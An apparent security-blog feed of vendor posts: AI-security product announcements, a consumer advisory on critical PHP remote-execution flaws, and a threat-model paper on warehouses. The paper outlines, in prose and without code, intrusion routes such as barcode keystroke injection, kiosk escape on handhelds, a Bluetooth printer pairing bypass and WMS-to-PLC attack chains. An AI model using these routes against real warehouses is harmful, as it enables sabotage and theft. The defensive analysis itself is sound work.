The harness integrates defender-grade models, including OpenAI’s GPT-5.6-Cyber, and other commercial models alongside open-weight models and Unit 42 threat intelligence. By executing non-destructive adversary simulations across first- and third-party environments, the system proves actual exploitability and delivers prioritized remediation guidance including actionable fixes, code-level changes, and virtual patches. Organizations can pair this with Frontier Virtual Patching to block exploits long before official patches exist or CVEs are publicly disclosed.

The real-world impact of this proactive methodology was validated over six months of in-house testing and across more than 75 customer engagements backed by a $17 million R&D investment. During internal deployment within Palo Alto Networks, the service uncovered over two years’ worth of exposures in just three weeks. In customer assessments, the underlying analysis identified exposures in 100% of assessed organizations, with 37% rated high or critical severity. Crucially, over two-thirds of exposures found in third-party applications had no known CVE, proving the urgent necessity of continuous, AI-driven discovery.

Unit 42 Continuous Frontier AI Defense is available worldwide today on an annual subscription basis. Register for our upcoming Virtual Threat Briefing to see how we apply Frontier AI, our proprietary multi-model harness, and offensive security expertise to protect Palo Alto Networks and our customers.

To learn more about Unit 42 Continuous Frontier AI Defense, register for the upcoming Virtual Threat Briefing here.

Scale Enterprise AI Adoption Safely with Prisma AIRS

As OpenAI customers rapidly scale their use of powerful AI models, AI coding assistants, and autonomous agents, the enterprise attack surface is expanding faster than traditional security teams can manage. The transition to autonomous AI breaks traditional security boundaries, creating shadow AI blind spots, supply chain risks in open-source base models, unsafe actions from malicious inputs, and uncontrolled AI agents executing tasks with excessive permissions.

Prisma AIRS: Secure Every AI Ambition

Prisma AIRS is the Palo Alto Networks unified AI security platform, enabling enterprises to accelerate AI adoption while maintaining control over sensitive data, agent identities, autonomous actions and AI costs. Recognized by Gartner as a Market Shaper in the September 2026 Emerging Market Quadrant for AI Application Security – Established Vendors, Palo Alto Networks brings together discovery, continuous risk assessment, real-time protection and centralized governance to secure AI applications and agents across enterprise environments.

• Gain Visibility Across Enterprise AI: Discover and inventory AI applications, coding assistants, autonomous agents and associated assets across endpoints, cloud and enterprise environments. Identify shadow AI and gain visibility into the AI systems operating across the organization.
• Identify Risks Before They Become Threats: Continuously assess AI security posture, scan models and agent artifacts—including skills and MCP servers—for vulnerabilities and supply chain risks, and proactively red team AI applications and agents to uncover exploitable weaknesses before deployment.
• Secure AI Interactions, Data and Agent Identities: Enforce real-time protection against prompt injection, malicious interactions and sensitive data exposure. Verify agent identities, enforce least-privilege access and prevent unauthorized actions as agents interact with enterprise systems and data.
• Centralize AI Policy, Access and Spend: Use AI Gateway to govern connections to LLMs, MCP servers, APIs and enterprise services. Centralize policy enforcement, control model and provider access, monitor consumption and manage AI usage and costs across teams and applications.

Together, these capabilities help OpenAI enterprise customers secure AI-powered workflows, maintain accountability for autonomous actions and scale AI adoption with consistent security and governance.

Book a demo to see our AI Security solution in action.

The post Palo Alto Networks Brings Continuous AI Defense and Prisma AIRS to the OpenAI Marketplace appeared first on Palo Alto Networks Blog.

How 300 Academic Partnerships Are Helping Close the Cyber Skills Gap Check Point’s SecureAcademy has reached 300 academic partnerships across more than 80 countries, connecting educational institutions with industry-aligned cyber security training and resources. While the milestone reflects the program’s continued growth, it also highlights a broader shift: educational institutions are increasingly looking for ways to align cyber security education with the skills employers need today. Turning Classrooms into Career Pathways Organizations worldwide continue to face a shortage of cyber security professionals, while educational institutions are under pressure to keep pace with rapidly evolving technologies and threats. Through SecureAcademy, institutions […]

The post Closing the Cyber Skills Gap with 300 Academic Partnerships appeared first on Check Point Blog.

Yesterday, two critical vulnerabilities were disclosed in PHP, the scripting language used by many websites and online services: CVE-2026-109618 and CVE-2026-109619. Attackers can exploit them to remotely execute commands on any server running PHP, with no authentication required. The exploit has been dubbed PHP2Shell.

The PHP security team announced an upcoming emergency update on October 20 and released patches fixing the vulnerabilities the following day.

We’ve already covered the technical details of these vulnerabilities and explained what companies and server administrators should do. You may have safely skipped that news because you don’t run any servers — but unfortunately, the issue is not limited to businesses.

Nearly 70% of websites run on PHP, including services we use every day: wikis, online stores, smart devices with web interfaces, home network-attached storage (NAS), smart-home controllers, and much more.

Today, we explain how these vulnerabilities could affect you personally and what you can do to reduce the risks.

How the vulnerabilities can affect home users

Account and personal-data theft

The vulnerability allows an attacker to steal authentication tokens from server memory. These tokens essentially act like electronic passes — telling a website that the user has already signed in. As a result, an attacker may be able to access someone else’s account without entering a password or two-factor authentication code, putting messages, documents, delivery addresses, order histories, and other confidential information at risk.

Loss of files on home devices

If you have network-attached storage (NAS) or a video surveillance system at home that uses a vulnerable PHP version, it may also be at risk. Depending on what level of access they gain, attackers could potentially copy, delete or encrypt files they can access.

Malware infection

If an attacker gains access to a vulnerable website, they can use it in virtually any way they want: trick visitors into downloading a malicious file or clicking on a phishing link, display dangerous instructions, replace payment forms or login pages with malicious ones — the list goes on and on. As a result, someone visiting a legitimate website could not only lose access to their account, but also lose money or accidentally infect their device with malware.

Below are examples of services directly affected by the vulnerabilities.

Which services are affected by the PHP vulnerabilities

Jeedom

Jeedom is a smart-home platform that lets users control lighting, sensors, heating, blinds and home IoT devices. Attackers could abuse this in many ways: they could disable the alarm, track when the homeowner is away, access video from the door intercom, and more.

The developers confirmed that the new vulnerability affects their application, and have already released an emergency update — Jeedom 4.6.2. Users need to run the update twice for it to work. The developers say a fully fixed version for home users will be released in the coming days.

Websites we use every day

As mentioned above, PHP is used by roughly 70% of websites. This doesn’t mean every one of them is vulnerable: it depends on the PHP version in use and whether the site owners have already updated it. Many government websites in Europe have already suspended operations because of the new vulnerability.

Unfortunately, a website may still be vulnerable even if it appears to be working normally. An attacker could potentially take control of any legitimate website whose server hasn’t been patched yet. They could fake payment or login pages, host malicious files, or persuade users to download an “urgent update” that is actually malware.

Ordinary users have no reliable way to check whether such instructions or files are safe, so be sure to use reliable anti-phishing and antivirus protection. If you suspect that your data may have been stolen, check the active sessions in your account settings. If you spot suspicious activity or devices you don’t recognize, sign out of all active sessions and change your password. Use a password manager — it can generate a truly strong, unique password that you won’t have to memorize yourself.

Computer games

Bad news for gamers: some video games whose servers use PHP are also at risk. If you don’t want attackers to get hold of your accounts, be sure to update the passwords for your gaming platforms, stores and accounts.

To buy time for updates, some developers temporarily took their services offline. Final Fantasy XIV, Pokemon Champions, games from Bandai Namco Entertainment, Uma Musume: Pretty Derby, Granblue Fantasy, Shadowverse: Worlds Beyond, and many others went into emergency maintenance. Nintendo Switch Online and the GOG and Steam stores were also affected.

Unfortunately, there’ve also been more drastic consequences. Yesterday, the developers of World Quest announced that the game would shut down permanently after 15 years: it relied on outdated infrastructure that would have been extremely difficult and costly to fix. For the same reason, the mobile game Please Save My Pandemonium! shut down after more than ten years of operation.

Home network-attached storage (NAS)

“Home clouds” have become popular in recent years for good reason: many users prefer to keep backups of their data at home rather than online. A number of companies make NAS devices, and at least three — QNAP, Synology and ASUSTOR — have said the vulnerabilities affect their products. An update has also been released for Unraid, an operating system for home servers, network storage and media servers.

QNAP

The manufacturer confirmed that the vulnerabilities affect several versions of its NAS operating systems — QTS and QuTS hero — as well as applications including QuMagie, Note Station 3 and certain versions of QVR Surveillance. A successful attack could put photos, documents, notes and camera recordings at risk.

At the time of publication of this blogpost, QNAP is still preparing updates, so the main priority is to temporarily disconnect NAS from the internet. QNAP recommends disabling port forwarding on the router — to prevent NAS from automatically opening ports — and allowing access to the management panel only from the home network or through a VPN.

Synology

Both vulnerabilities have been officially confirmed in PHP packages 7.3, 7.4, and 8.0–8.4, as well as in Mail Station and Synology Calendar. Fixes have already been released for PHP, starting from version 7.4, as well as for Mail Station and Synology Calendar. PHP 7.3 won’t be fixed. The company separately notes that the PHP component built into its operating system cannot be reached from outside the device, so the risk of attack is very low.

ASUSTOR

ASUSTOR also officially confirmed both vulnerabilities, and immediately removed PHP 7, 7.3, 7.4, and 8.1 packages from App Central. The company recommends immediately backing up your data, removing older PHP packages, and using PHP 8.3 or 8.4.

Unraid

In today’s operating-system update, PHP was upgraded to version 8.4.27 with fixes for the vulnerabilities. The developers recommend that all users update to Unraid 7.3.4. Containers with their own PHP installation must be updated separately: the new PHP version in the operating system doesn’t replace PHP inside containers.

At the time of publication, we haven’t found public confirmation from other major manufacturers (such as TerraMaster, UGREEN, Buffalo, or Western Digital) that their devices are affected by these vulnerabilities — only user discussions on forums.

But the fact that only some NAS manufacturers have confirmed the problem so far doesn’t guarantee that your devices are safe — especially if they’re fairly old or come from a lesser-known or defunct manufacturer. In that case, first disconnect the devices from the internet while keeping them accessible only on the local network, and then investigate whether they’re vulnerable.

Nextcloud cloud storage

Nextcloud is a free, open-source platform for creating your own cloud storage, serving as an alternative to Google Drive, Dropbox, and Microsoft OneDrive. It lets you store and synchronize files across devices, share them with other users, and work with documents, photos, calendars and contacts. The data can be stored on your own server or NAS rather than on a third-party company’s servers.

If you store important data in Nextcloud, check how your cloud instance is configured. If you use Nextcloud All-in-One, update to version 14.4.1 where the vulnerability has already been fixed.

If your Nextcloud installation is configured differently, you need to update PHP yourself on the device or server.

How to protect your devices and data

• Use phishing and malware protection. Our security solution automatically blocks phishing pages and malware, even when attackers place them on legitimate websites.
• Keep an eye on updates. If you have network-attached storage, a smart-home system, a home server, a media server, or any other device with a web interface, first check the manufacturer’s website and install all available updates. If no update is available yet, temporarily disable internet access to the device.
• Use strong passwords. Most people reuse the same password, or variations of it, across multiple websites. If an attacker finds one of those passwords on a vulnerable server, they may be able to compromise your other accounts as well. We recommend generating and storing strong, unique passwords in Kaspersky Password Manager so you don’t have to remember your credentials yourself. Be sure to enable two-factor authentication on all important accounts — ideally using one-time codes generated by the same password manager.
• Keep an offline backup of important files. Don’t rely on cloud storage alone — make sure you keep a backup of all important documents on both a hard drive and an external device. For more information on how to make backups properly, see our article The internet remembers not quite everything.

What other risks can your home devices face? Read our articles:

• Trojan TV, or the new risks of malicious proxies
• Ransomware now taking aim at personal backups
• Is your TV box renting out your network?
• Is your router secretly working for foreign intelligence?
• Three common attacks on Linux in homes
• How to secure your smart home

AI is moving from answering questions to taking action. Agents can use tools, access enterprise data, and carry out work across systems on our behalf or autonomously. This creates opportunities for businesses to move faster, but it also changes what security must protect. An agent’s identity, the authority it carries, and the actions it takes all become security decisions.

As enterprises put agents into production, they need controls that keep pace without hindering the work those agents are designed to do. Palo Alto Networks is working with NVIDIA to advance this goal across five connected areas in support of the NVIDIA OpenShell Reference Architecture for safe AI agents: an AI gateway on NVIDIA Vera CPU systems; runtime protection on NVIDIA BlueField DPUs; agent identity governance on NVIDIA Sentry; AI factory visibility through an AI-driven, agentic security operations center (SOC); and partner services that help customers implement a secure architecture.

Palo Alto Networks AI Runtime Security Extends Protection Across the AI Factory and Edge

Until now, the AI factory conversation has centered primarily on compute capacity and token generation. But as autonomous agents execute higher-stakes workloads, runtime security has become just as essential. Agents can be steered past their guardrails, and a compromised host cannot be trusted to accurately report what occurred. To be effective, security teams require visibility and enforcement that operate independently of the host environment.

Palo Alto Networks AI Runtime Security on NVIDIA BlueField DPUs isolates security processing in a dedicated infrastructure domain. Because BlueField sits in the path between agents and the models, data, and services they access, security policies are enforced in silicon — beyond the reach of a compromised host. This capability safeguards both GPU-accelerated AI workloads and CPU-based agent runtimes and is now generally available across AI factory and industrial edge deployments. Offloading security from the host node delivers two critical benefits: increased token throughput and stronger runtime protection across the entire AI factory.

Deployment at scale must be manageable. Our work with Spectro Cloud manages the deployment and operation of AI Runtime Security on BlueField DPUs, enabling consistent management across the AI factory infrastructure — from the data center to distributed edge environments. 

Idira Governs the Identity Behind Every Agent Action

Runtime protection answers what an agent is doing. Identity governance helps determine whether it is authorized to do it.

An agent may act for a person, a team, or an autonomous business process, often requiring access to multiple tools and data sources across the organization. Granting an agent broad, persistent access creates risk, while making access too restrictive limits its usefulness. To achieve the optimal balance of control and agent access, Palo Alto Networks is advancing an integration between agentic identity security and NVIDIA Sentry on BlueField — bringing identity and delegated authority closer to where agent interactions are governed.

The goal is to give each agent a verifiable identity, grant access appropriate to its task, and make its actions attributable. Once available, this solution will deliver zero-trust protection and tamper-resistant auditing for agents by moving the security controls — including identity — to the NVIDIA Bluefield DPU, separate from the host operating system. This addresses an immediate business need — enabling enterprises to scale agent deployments while retaining control over whose authority agents use and which resources they can reach.

Bringing AI Factory Signals into Cortex

Security teams need visibility into activity across the infrastructure that runs AI agents. Palo Alto Networks has announced an integration of Cortex XSIAM with NVIDIA DOCA Argus, which monitors host activity from BlueField’s independent trust domain. This provides security operations teams with runtime signals that do not rely on an agent installed on the host being monitored.

By bringing those signals together with network, cloud, and identity data in an AI-driven SOC, security teams can investigate AI infrastructure in the context of the broader enterprise. Palo Alto Networks is continuing to develop this foundation to support broader fleet visibility and more comprehensive response workflows — enabling security teams to identify unusual activity and act with greater confidence as AI deployments grow.

AI agents run within the NVIDIA OpenShell secure runtime, operated directly on the NVIDIA Vera CPU within the NVIDIA OpenShell Platform. Security observability is completely offloaded to the NVIDIA BlueField DPU. Operating out-of-band, NVIDIA Sentry, built on DOCA Argus, provides real-time memory and network inspection to detect threats without slowing AI inference. When malicious events or policy violations occur, DOCA Argus streams high-fidelity alerts directly to Palo Alto Networks Cortex XSIAM, where they can be automatically correlated and surfaced for rapid threat response. 

Turning Secure AI Factory Designs into Deployments

Customers need more than an architecture diagram to bring an AI factory into production. They need a practical path to design, validate, and operate security across compute, networking, applications, and the SOC.

Palo Alto Networks is working with strategic vendors , including Deloitte and World Wide Technology (WWT), to help customers plan and deploy secure NVIDIA AI factories. Deloitte’s Silicon-to-Service (S2S) offering, combined with its Secure AI Foundations, helps organizations implement AI use cases on NVIDIA AI infrastructure through validated architectures and managed services. By building security into the full AI factory stack, Deloitte helps clients balance performance, safety, and cost as they scale from pilot to production.  

WWT’s AI Proving Ground allows customers to evaluate and test an integrated stack before committing to production deployment.These engagements can help enterprises move from individual security components to a repeatable approach tailored to their environments and requirements.

Building Confidence into the Next Phase of Agentic AI

The value of agentic AI depends on an enterprise’s ability to give agents useful access while maintaining control over their actions. This requires runtime protection, governed identities, independent visibility, and a unified way to manage controls across the enterprise. 

Palo Alto Networks delivers comprehensive security across every layer of the AI factory through a unified platform. In collaboration with NVIDIA, we support the NVIDIA OpenShell Reference Architecture for enterprise governance, isolation, and security.  Together, we deliver the continuous protection needed to move safely from AI agent pilots to full-scale enterprise production.

To learn more about the general availability of AI Runtime Security on the BlueField DPU, read our blog, Palo Alto Networks Announces Support for NVIDIA Enterprise AI Factory. 

The post Advancing Agentic AI Security with Palo Alto Networks and NVIDIA appeared first on Palo Alto Networks Blog.

Introduction

Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an apology, a discount promo code — and the incident is forgotten.

Now let’s multiply one late unicorn by several hundred thousand orders.

Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.

It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the grocery giant Morrisons, and the 2025 Form 10-K annual report of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, reports emerged that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.

This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.

Tracing the unicorn

A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.

So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.

1. Unloading
   First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.
2. Receiving
   At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.
3. Putaway
   Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.
4. Storage
   Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.
5. Picking
   When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.
6. Sorting
   At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.
7. Packing
   During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.
8. Shipment
   Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.

All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.

Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).

That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.

Hunting the unicorn

Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.

The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.

The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.

The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.
Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:

1. External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment:
   1. Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.
   2. Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.
2. Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.

Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.

Cornering the unicorn

Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.

On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.

Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.

Initial attack vectors

Internet-facing services

Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.

Wi-Fi, Bluetooth, and other radio channels

Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. Zigbee and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.

Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.

That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.

However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.

Physical network

The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.

That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.

Barcode scanners

Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.

This makes the scanner an entry point into the core network in two ways.

First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.

Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by CVE-2026-4272.

In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.

Portable data terminals

Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.

That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.

Printers

Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.

Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.

Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.

Impact on logistics processes (attacks on WMS)

With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.

Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.

To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.

Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.

A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.

The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.

The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.

This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.

Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.

Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.

PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.

